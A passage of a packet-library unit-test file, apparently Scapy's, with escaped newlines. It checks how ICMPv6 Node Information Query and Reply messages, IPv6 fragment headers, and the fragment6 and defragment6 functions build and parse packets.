fqdn\nICMPv6NIQueryIPv6(data=\"n.d.org\").data == b\"n.d.org\"\n\n= ICMPv6NIQueryIPv6 - IPv6 address (internal)\na=ICMPv6NIQueryIPv6(data=\"2001:db8::1\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1'\n\n= ICMPv6NIQueryIPv6 - IPv6 address \nICMPv6NIQueryIPv6(data=\"2001:db8::1\").data == \"2001:db8::1\"\n\n= ICMPv6NIQueryIPv6 - IPv4 address (internal)\na=ICMPv6NIQueryIPv6(data=\"169.254.253.252\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252'\n\n= ICMPv6NIQueryIPv6 - IPv4 address\nICMPv6NIQueryIPv6(data=\"169.254.253.252\").data == '169.254.253.252'\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIQueryIPv4\n\n= ICMPv6NIQueryIPv4 - single label DNS name (internal)\na=ICMPv6NIQueryIPv4(data=\"abricot\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\\x07abricot\\x00\\x00'\n\n= ICMPv6NIQueryIPv4 - single label DNS name\nICMPv6NIQueryIPv4(data=\"abricot\").data == b\"abricot\"\n\n= ICMPv6NIQueryIPv4 - fqdn (internal)\na=ICMPv6NIQueryIPv4(data=\"n.d.org\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\\x01n\\x01d\\x03org\\x00'\n\n= ICMPv6NIQueryIPv4 - fqdn\nICMPv6NIQueryIPv4(data=\"n.d.org\").data == b\"n.d.org\"\n\n= ICMPv6NIQueryIPv4 - IPv6 address (internal)\na=ICMPv6NIQueryIPv4(data=\"2001:db8::1\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1'\n\n= ICMPv6NIQueryIPv4 - IPv6 address \nICMPv6NIQueryIPv4(data=\"2001:db8::1\").data == \"2001:db8::1\"\n\n= ICMPv6NIQueryIPv4 - IPv4 address (internal)\na=ICMPv6NIQueryIPv4(data=\"169.254.253.252\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252'\n\n= ICMPv6NIQueryIPv4 - IPv4 address\nICMPv6NIQueryIPv4(data=\"169.254.253.252\").data == '169.254.253.252'\n\n= ICMPv6NIQueryIPv4 - dissection\ns = b'\\x8b\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\xc2\\xb9\\xc2\\x96\\xc3\\xa1.H\\x07freebsd\\x00\\x00'\np = ICMPv6NIQueryIPv4(s)\np.show()\nassert ICMPv6NIQueryIPv4 in p and p.data == b\"freebsd\"\n\n= ICMPv6NIQueryIPv4 - hashret()\n\nrandom.seed(0x2807)\np = IPv6(src=\"::\", dst=\"::\")/ICMPv6NIQueryIPv4(data=\"freebsd\")\nh = p.hashret()\nh\nassert h in [\n    b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:g\\x02f1\\xbd?\\xb3\\xc4',\n    b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:\\x88\\xccb\\x19~\\x9e\\xe3a',\n    b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:$#\\xb5\\xb7\\xd0\\xbf \\xe2'\n]\n\n\n############\n############\n+ Test Node Information Query - Flags tests\n\n= ICMPv6NIQuery* - flags handling (Test 1)\nt = ICMPv6NIQueryIPv6(flags=\"T\")\na = ICMPv6NIQueryIPv6(flags=\"A\")\nc = ICMPv6NIQueryIPv6(flags=\"C\")\nl = ICMPv6NIQueryIPv6(flags=\"L\")\ns = ICMPv6NIQueryIPv6(flags=\"S\")\ng = ICMPv6NIQueryIPv6(flags=\"G\")\nallflags = ICMPv6NIQueryIPv6(flags=\"TALCLSG\")\nt.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63\n\n\n= ICMPv6NIQuery* - flags handling (Test 2)\nt = raw(ICMPv6NIQueryNOOP(flags=\"T\", nonce=\"A\"*8))[6:8]\na = raw(ICMPv6NIQueryNOOP(flags=\"A\", nonce=\"A\"*8))[6:8]\nc = raw(ICMPv6NIQueryNOOP(flags=\"C\", nonce=\"A\"*8))[6:8]\nl = raw(ICMPv6NIQueryNOOP(flags=\"L\", nonce=\"A\"*8))[6:8]\ns = raw(ICMPv6NIQueryNOOP(flags=\"S\", nonce=\"A\"*8))[6:8]\ng = raw(ICMPv6NIQueryNOOP(flags=\"G\", nonce=\"A\"*8))[6:8]\nallflags = raw(ICMPv6NIQueryNOOP(flags=\"TALCLSG\", nonce=\"A\"*8))[6:8]\nt == b'\\x00\\x01' and a == b'\\x00\\x02' and c == b'\\x00\\x04' and l == b'\\x00\\x08' and s == b'\\x00\\x10' and g == b'\\x00\\x20' and allflags == b'\\x00\\x3F'\n\n\n= ICMPv6NIReply* - flags handling (Test 1)\nt = ICMPv6NIReplyIPv6(flags=\"T\")\na = ICMPv6NIReplyIPv6(flags=\"A\")\nc = ICMPv6NIReplyIPv6(flags=\"C\")\nl = ICMPv6NIReplyIPv6(flags=\"L\")\ns = ICMPv6NIReplyIPv6(flags=\"S\")\ng = ICMPv6NIReplyIPv6(flags=\"G\")\nallflags = ICMPv6NIReplyIPv6(flags=\"TALCLSG\")\nt.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63\n\n\n= ICMPv6NIReply* - flags handling (Test 2)\nt = raw(ICMPv6NIReplyNOOP(flags=\"T\", nonce=\"A\"*8))[6:8]\na = raw(ICMPv6NIReplyNOOP(flags=\"A\", nonce=\"A\"*8))[6:8]\nc = raw(ICMPv6NIReplyNOOP(flags=\"C\", nonce=\"A\"*8))[6:8]\nl = raw(ICMPv6NIReplyNOOP(flags=\"L\", nonce=\"A\"*8))[6:8]\ns = raw(ICMPv6NIReplyNOOP(flags=\"S\", nonce=\"A\"*8))[6:8]\ng = raw(ICMPv6NIReplyNOOP(flags=\"G\", nonce=\"A\"*8))[6:8]\nallflags = raw(ICMPv6NIReplyNOOP(flags=\"TALCLSG\", nonce=\"A\"*8))[6:8]\nt == b'\\x00\\x01' and a == b'\\x00\\x02' and c == b'\\x00\\x04' and l == b'\\x00\\x08' and s == b'\\x00\\x10' and g == b'\\x00\\x20' and allflags == b'\\x00\\x3F'\n\n\n= ICMPv6NIQuery* - Flags Default values\na = ICMPv6NIQueryNOOP()\nb = ICMPv6NIQueryName()\nc = ICMPv6NIQueryIPv4()\nd = ICMPv6NIQueryIPv6()\na.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 62\n\n= ICMPv6NIReply* - Flags Default values\na = ICMPv6NIReplyIPv6()\nb = ICMPv6NIReplyName()\nc = ICMPv6NIReplyIPv6()\nd = ICMPv6NIReplyIPv4()\ne = ICMPv6NIReplyRefuse()\nf = ICMPv6NIReplyUnknown()\na.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 0 and e.flags == 0 and f.flags == 0\n\n\n\n# Nonces \n# hashret and answers\n# payload guess\n# automatic destination address computation when integrated in scapy6\n# at least computeNIGroupAddr\n\n\n############\n############\n+ Test Node Information Query - Dispatching\n\n= ICMPv6NIQueryIPv6 - dispatch with nothing in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv6())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv6)\n\n= ICMPv6NIQueryIPv6 - dispatch with IPv6 address in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv6(data=\"2001::db8::1\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv6)\n\n= ICMPv6NIQueryIPv6 - dispatch with IPv4 address in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv6(data=\"192.168.0.1\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv6)\n\n= ICMPv6NIQueryIPv6 - dispatch with name in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv6(data=\"alfred\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv6)\n\n= ICMPv6NIQueryName - dispatch with nothing in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryName())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryName)\n\n= ICMPv6NIQueryName - dispatch with IPv6 address in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryName(data=\"2001:db8::1\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryName)\n\n= ICMPv6NIQueryName - dispatch with IPv4 address in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryName(data=\"192.168.0.1\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryName)\n\n= ICMPv6NIQueryName - dispatch with name in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryName(data=\"alfred\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryName)\n\n= ICMPv6NIQueryIPv4 - dispatch with nothing in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv4())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv4)\n\n= ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv4(data=\"2001:db8::1\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv4)\n\n= ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv4(data=\"192.168.0.1\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv4)\n\n= ICMPv6NIQueryIPv4 - dispatch with name in data\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIQueryIPv4(data=\"alfred\"))\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIQueryIPv4)\n\n= ICMPv6NIReplyName - dispatch\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIReplyName())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIReplyName)\n\n= ICMPv6NIReplyIPv6 - dispatch\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIReplyIPv6())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIReplyIPv6)\n\n= ICMPv6NIReplyIPv4 - dispatch\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIReplyIPv4())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIReplyIPv4)\n\n= ICMPv6NIReplyRefuse - dispatch\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIReplyRefuse())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIReplyRefuse)\n\n= ICMPv6NIReplyUnknown - dispatch\ns = raw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/ICMPv6NIReplyUnknown())\np = IPv6(s)\nisinstance(p.payload, ICMPv6NIReplyUnknown)\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIReplyNOOP\n\n= ICMPv6NIReplyNOOP - single DNS name without hint => understood as string (internal)\na=ICMPv6NIReplyNOOP(data=\"abricot\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b\"abricot\"\n\n= ICMPv6NIReplyNOOP - single DNS name without hint => understood as string\nICMPv6NIReplyNOOP(data=\"abricot\").data == b\"abricot\"\n\n= ICMPv6NIReplyNOOP - fqdn without hint => understood as string (internal)\na=ICMPv6NIReplyNOOP(data=\"n.d.tld\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b\"n.d.tld\"\n\n= ICMPv6NIReplyNOOP - fqdn without hint => understood as string \nICMPv6NIReplyNOOP(data=\"n.d.tld\").data == b\"n.d.tld\"\n\n= ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string (internal)\na=ICMPv6NIReplyNOOP(data=\"2001:0db8::1\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b\"2001:0db8::1\"\n\n= ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string\nICMPv6NIReplyNOOP(data=\"2001:0db8::1\").data == b\"2001:0db8::1\"\n\n= ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string (internal)\na=ICMPv6NIReplyNOOP(data=\"169.254.253.010\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b\"169.254.253.010\"\n\n= ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string\nICMPv6NIReplyNOOP(data=\"169.254.253.010\").data == b\"169.254.253.010\"\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIReplyName\n\n= ICMPv6NIReplyName - single label DNS name as a rawing (without ttl) (internal)\na=ICMPv6NIReplyName(data=\"abricot\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\\x07abricot\\x00\\x00'\n\n= ICMPv6NIReplyName - single label DNS name as a rawing (without ttl)\nICMPv6NIReplyName(data=\"abricot\").data == [0, b\"abricot\"]\n\n= ICMPv6NIReplyName - fqdn name as a rawing (without ttl) (internal)\na=ICMPv6NIReplyName(data=\"n.d.tld\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\\x01n\\x01d\\x03tld\\x00'\n\n= ICMPv6NIReplyName - fqdn name as a rawing (without ttl)\nICMPv6NIReplyName(data=\"n.d.tld\").data == [0, b'n.d.tld']\n\n= ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) (internal)\na=ICMPv6NIReplyName(data=[\"abricot\", \"poire\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\\x07abricot\\x00\\x00\\x05poire\\x00\\x00'\n\n= ICMPv6NIReplyName - list of 2 single label DNS names (without ttl)\nICMPv6NIReplyName(data=[\"abricot\", \"poire\"]).data == [0, b\"abricot\", b\"poire\"]\n\n= ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] (internal)\na=ICMPv6NIReplyName(data=[42, \"abricot\", \"poire\", \"n.d.tld\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 42 and a[1][1] == b'\\x07abricot\\x00\\x00\\x05poire\\x00\\x00\\x01n\\x01d\\x03tld\\x00'\n\n= ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn]\nICMPv6NIReplyName(data=[42, \"abricot\", \"poire\", \"n.d.tld\"]).data == [42, b\"abricot\", b\"poire\", b\"n.d.tld\"]\n\n= ICMPv6NIReplyName - dissection\n\ns = b'\\x8c\\x00\\xd1\\x0f\\x00\\x02\\x00\\x00\\x00\\x00\\xd9$\\x94\\x8d\\xc6%\\x00\\x00\\x00\\x00\\x07freebsd\\x00\\x00'\np = ICMPv6NIReplyName(s)\np.show()\nassert ICMPv6NIReplyName in p and p.data == [0, b'freebsd']\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIReplyIPv6\n\n= ICMPv6NIReplyIPv6 - one IPv6 address without TTL (internal)\na=ICMPv6NIReplyIPv6(data=\"2001:db8::1\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"2001:db8::1\" \n\n= ICMPv6NIReplyIPv6 - one IPv6 address without TTL\nICMPv6NIReplyIPv6(data=\"2001:db8::1\").data == [(0, '2001:db8::1')]\n\n= ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list)  (internal)\na=ICMPv6NIReplyIPv6(data=[\"2001:db8::1\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"2001:db8::1\" \n\n= ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) \nICMPv6NIReplyIPv6(data=[\"2001:db8::1\"]).data == [(0, '2001:db8::1')]\n\n= ICMPv6NIReplyIPv6 - one IPv6 address with TTL  (internal)\na=ICMPv6NIReplyIPv6(data=[(0, \"2001:db8::1\")]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"2001:db8::1\" \n\n= ICMPv6NIReplyIPv6 - one IPv6 address with TTL\nICMPv6NIReplyIPv6(data=[(0, \"2001:db8::1\")]).data == [(0, '2001:db8::1')]\n\n= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL) (internal)\na=ICMPv6NIReplyIPv6(data=[\"2001:db8::1\", \"2001:db8::2\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"2001:db8::1\" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == \"2001:db8::2\" \n\n= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL)\nICMPv6NIReplyIPv6(data=[\"2001:db8::1\", \"2001:db8::2\"]).data == [(0, '2001:db8::1'), (0, '2001:db8::2')]\n\n= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) (internal)\na=ICMPv6NIReplyIPv6(data=[(42, \"2001:db8::1\"), \"2001:db8::2\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == \"2001:db8::1\" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == \"2001:db8::2\" \n\n= ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without)\nICMPv6NIReplyIPv6(data=[(42, \"2001:db8::1\"), \"2001:db8::2\"]).data == [(42, \"2001:db8::1\"), (0, \"2001:db8::2\")]\n\n= ICMPv6NIReplyIPv6 - build & dissection\n\ns = raw(IPv6()/ICMPv6NIReplyIPv6(data=\"2001:db8::1\"))\np = IPv6(s)\nICMPv6NIReplyIPv6 in p and p.data == [(0, '2001:db8::1')]\n\n############\n############\n+ Test Node Information Query - ICMPv6NIReplyIPv4\n\n= ICMPv6NIReplyIPv4 - one IPv4 address without TTL (internal)\na=ICMPv6NIReplyIPv4(data=\"169.254.253.252\").getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"169.254.253.252\" \n\n= ICMPv6NIReplyIPv4 - one IPv4 address without TTL\nICMPv6NIReplyIPv4(data=\"169.254.253.252\").data == [(0, '169.254.253.252')]\n\n= ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) (internal)\na=ICMPv6NIReplyIPv4(data=[\"169.254.253.252\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"169.254.253.252\" \n\n= ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list)\nICMPv6NIReplyIPv4(data=[\"169.254.253.252\"]).data == [(0, '169.254.253.252')]\n\n= ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal)\na=ICMPv6NIReplyIPv4(data=[(0, \"169.254.253.252\")]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"169.254.253.252\" \n\n= ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal)\nICMPv6NIReplyIPv4(data=[(0, \"169.254.253.252\")]).data == [(0, '169.254.253.252')]\n\n= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL)\na=ICMPv6NIReplyIPv4(data=[\"169.254.253.252\", \"169.254.253.253\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == \"169.254.253.252\" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == \"169.254.253.253\" \n\n= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL) (internal)\nICMPv6NIReplyIPv4(data=[\"169.254.253.252\", \"169.254.253.253\"]).data == [(0, '169.254.253.252'), (0, '169.254.253.253')]\n\n= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without)\na=ICMPv6NIReplyIPv4(data=[(42, \"169.254.253.252\"), \"169.254.253.253\"]).getfieldval(\"data\")\ntype(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == \"169.254.253.252\" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == \"169.254.253.253\" \n\n= ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) (internal)\nICMPv6NIReplyIPv4(data=[(42, \"169.254.253.252\"), \"169.254.253.253\"]).data == [(42, \"169.254.253.252\"), (0, \"169.254.253.253\")]\n\n= ICMPv6NIReplyIPv4 - build & dissection\n\ns = raw(IPv6()/ICMPv6NIReplyIPv4(data=\"192.168.0.1\"))\np = IPv6(s)\nICMPv6NIReplyIPv4 in p and p.data == [(0, '192.168.0.1')]\n\ns = raw(IPv6()/ICMPv6NIReplyIPv4(data=[(2807, \"192.168.0.1\")]))\np = IPv6(s)\nICMPv6NIReplyIPv4 in p and p.data == [(2807, \"192.168.0.1\")]\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIReplyRefuse\n= ICMPv6NIReplyRefuse - basic instantiation\nraw(ICMPv6NIReplyRefuse())[:8] == b'\\x8c\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NIReplyRefuse - basic dissection\na=ICMPv6NIReplyRefuse(b'\\x8c\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xf1\\xe9\\xab\\xc9\\x8c\\x0by\\x18')\na.type == 140 and a.code == 1 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\\xf1\\xe9\\xab\\xc9\\x8c\\x0by\\x18' and a.data == b\"\"\n\n\n############\n############\n+ Test Node Information Query - ICMPv6NIReplyUnknown\n\n= ICMPv6NIReplyUnknown - basic instantiation\nraw(ICMPv6NIReplyUnknown(nonce=b'\\x00'*8)) == b'\\x8c\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= ICMPv6NIReplyRefuse - basic dissection\na=ICMPv6NIReplyRefuse(b'\\x8c\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.type == 140 and a.code == 2 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\\x00'*8 and a.data == b\"\"\n\n\n############\n############\n+ Test Node Information Query - utilities\n\n= computeNIGroupAddr\ncomputeNIGroupAddr(\"scapy\") == \"ff02::2:f886:2f66\"\n\n\n############\n############\n+ IPv6ExtHdrFragment Class Test\n\n= IPv6ExtHdrFragment - Basic Instantiation\nraw(IPv6ExtHdrFragment()) == b';\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= IPv6ExtHdrFragment - Instantiation with specific values\nraw(IPv6ExtHdrFragment(nh=0xff, res1=0xee, offset=0x1fff, res2=1, m=1, id=0x11111111)) == b'\\xff\\xee\\xff\\xfb\\x11\\x11\\x11\\x11'\n\n= IPv6ExtHdrFragment - Basic Dissection \na=IPv6ExtHdrFragment(b';\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.nh == 59 and a.res1 == 0 and a.offset == 0 and a.res2 == 0 and a.m == 0 and a.id == 0\n\n= IPv6ExtHdrFragment - Instantiation with specific values\na=IPv6ExtHdrFragment(b'\\xff\\xee\\xff\\xfb\\x11\\x11\\x11\\x11')\na.nh == 0xff and a.res1 == 0xee and a.offset==0x1fff and a.res2==1 and a.m == 1 and a.id == 0x11111111\n\n= IPv6 - IPv6ExtHdrFragment hashret\na=IPv6()/IPv6ExtHdrFragment(b'\\xff\\xee\\xff\\xfb\\x11\\x11\\x11\\x11')\na.hashret() == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff'\n\n\n############\n############\n+ Test fragment6 function\n\n= fragment6 - test against a long TCP packet with a 1280 MTU\nl=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load=\"A\"*40000), 1280) \nlen(l) == 33 and len(raw(l[-1])) == 644\n\n= fragment6 - test against a long TCP packet with a 1280 MTU without fragment header\nl=fragment6(IPv6()/TCP()/Raw(load=\"A\"*40000), 1280)\nlen(l) == 33 and len(raw(l[-1])) == 644\n\n\n############\n############\n+ Test defragment6 function\n\n= defragment6 - test against a long TCP packet fragmented with a 1280 MTU\nl=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load=\"A\"*40000), 1280) \nraw(defragment6(l)) == (b'`\\x00\\x00\\x00\\x9cT\\x06@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xe92\\x00\\x00' + b'A'*40000)\n\n\n= defragment6 - test against packets with L2 header\nl=defragment6(fragment6(Ether()/IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load=\"A\"*2000), 1280))\nEther in l\n\n\n= defragment6 - test against a large TCP packet fragmented with a 1280 bytes MTU and missing fragments\nl=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load=\"A\"*40000), 1280) \ndel l[2]\ndel l[4]\ndel l[12]\ndel l[18]\nraw(defragment6(l)) == (b'`\\x00\\x00\\x00\\x9cT\\x06@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\xe92\\x00\\x00' + 2444*b'A' + 1232*b'X' + 2464*b'A' + 1232*b'X' + 9856*b'A' + 1232*b'X' + 7392*b'A' + 1232*b'X' + 12916*b'A')\n\n\n= defragment6 - test against a TCP packet fragmented with a 800 bytes MTU and missing fragments\nl=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load=\"A\"*4000), 800) \ndel l[4]\ndel l[2]\nraw(defragment6(l)) == b'`\\x00\\x00\\x00\\x0f\\xb4\\x06@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 